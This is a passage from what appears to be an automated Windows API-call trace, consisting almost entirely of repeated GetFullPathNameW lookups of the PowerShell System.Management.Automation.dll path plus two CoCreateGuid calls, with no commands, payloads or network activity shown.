lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.958] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc7091764, Data2=0x26de, Data3=0x477c, Data4=([0]=0x8c, [1]=0x9c, [2]=0x2c, [3]=0x87, [4]=0xc7, [5]=0x5d, [6]=0x44, [7]=0x37))) returned 0x0 [0083.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xd0dfa590, Data2=0x3b23, Data3=0x4798, Data4=([0]=0x92, [1]=0x5c, [2]=0xca, [3]=0xf6, [4]=0x61, [5]=0x3c, [6]=0x20, [7]=0x73))) returned 0x0 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, 